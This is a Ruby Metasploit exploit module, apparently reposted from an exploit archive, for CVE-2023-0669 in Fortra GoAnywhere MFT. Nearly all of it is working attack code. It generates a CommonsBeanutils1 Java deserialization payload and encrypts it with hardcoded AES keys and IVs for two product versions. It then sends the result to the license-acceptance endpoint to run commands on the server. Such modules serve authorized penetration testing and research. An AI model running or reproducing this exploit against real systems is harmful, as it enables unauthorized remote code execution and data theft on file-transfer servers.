Fortra GoAnywhere MFT Unsafe Deserialization Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::JavaDeserialization  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Fortra GoAnywhere MFT Unsafe Deserialization RCE',  
'Description' => %q{  
This module exploits CVE-2023-0669, which is an object deserialization  
vulnerability in Fortra GoAnywhere MFT.  
},  
'Author' => [  
'Ron Bowes', # Analysis and module  
],  
'References' => [  
['CVE', '2023-0669'],  
['URL', 'https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis'],  
],  
'DisclosureDate' => '2023-02-01',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'win'],  
'Arch' => [ARCH_CMD],  
'Privileged' => false,  
'Targets' => [  
[  
'Version 2 Encryption',  
{  
'DefaultOptions' => {  
'Version' => '$2',  
'EncryptionKey' => '0e69a3839b6ecf45649b861f4a27171b66870c9567a4144ebaf3d52fdc4064ca',  
'EncryptionIv' => '4145532f4342432f504b435335506164'  
}  
},  
],  
[  
'Version 1 Encryption',  
{  
'DefaultOptions' => {  
'Version' => '',  
'EncryptionKey' => '678b5830bf8b8a2e0474b97d6cd18e845fbc4b11fca0d6af2db1eb114c29fc4b',  
'EncryptionIv' => '4145532f4342432f504b435335506164'  
}  
}  
],  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8001,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Unsafe deserialization endpoint', '/goanywhere/lic/accept']),  
])  
  
register_advanced_options([  
OptString.new('Version', [false, 'A version value to append to the encrypted data']),  
OptString.new('EncryptionKey', [true, 'The encryption key to use (hex-encoded)'], regex: /^([a-fA-F0-9]{2})+$/),  
OptString.new('EncryptionIv', [true, 'The initialization vector (hex-encoded)'], regex: /^([a-fA-F0-9]{2})+$/),  
OptString.new('EncryptionAlgorithm', [true, 'The encryption algorithm', 'AES-256-CBC'])  
])  
end  
  
def build_cipher  
unless OpenSSL::Cipher.ciphers.any? { |cipher_name| cipher_name.casecmp?(datastore['EncryptionAlgorithm']) }  
raise Msf::OptionValidateError.new({ 'EncryptionAlgorithm' => 'The selected encryption algorithm is not supported by OpenSSL.' })  
end  
  
cipher = OpenSSL::Cipher.new(datastore['EncryptionAlgorithm'])  
cipher.encrypt  
  
option_errors = {}  
iv = datastore['EncryptionIv'].scan(/../).map { |x| x.hex.chr }.join  
unless cipher.iv_len == iv.length  
option_errors['EncryptionIv'] = "The encryption IV is not the correct length (is: #{iv.length}, should be: #{cipher.iv_len})."  
end  
  
key = datastore['EncryptionKey'].scan(/../).map { |x| x.hex.chr }.join  
unless cipher.key_len == key.length  
option_errors['EncryptionKey'] = "The encryption key is not the correct length (is: #{key.length}, should be: #{cipher.key_len})."  
end  
raise Msf::OptionValidateError, option_errors unless option_errors.empty?  
  
cipher.iv = iv  
cipher.key = key  
cipher  
end  
  
def exploit  
vprint_status('Generating a serialized Java object with the payload')  
obj = generate_java_deserialization_for_payload('CommonsBeanutils1', payload)  
  
vprint_status('Encrypting the payload')  
cipher = build_cipher  
obj = cipher.update(obj) + cipher.final  
  
vprint_status('Sending request to the server')  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => datastore['TARGETURI'],  
'vars_post' => {  
'bundle' => "#{Base64.urlsafe_encode64(obj)}#{datastore['Version'] || ''}"  
}  
)  
  
fail_with(Failure::Unreachable, 'No response received from the target.') unless res  
if res.code != 500  
fail_with(Failure::UnexpectedReply, "Expected the server to return HTTP/500, instead received HTTP/#{res.code}")  
end  
end  
end  
`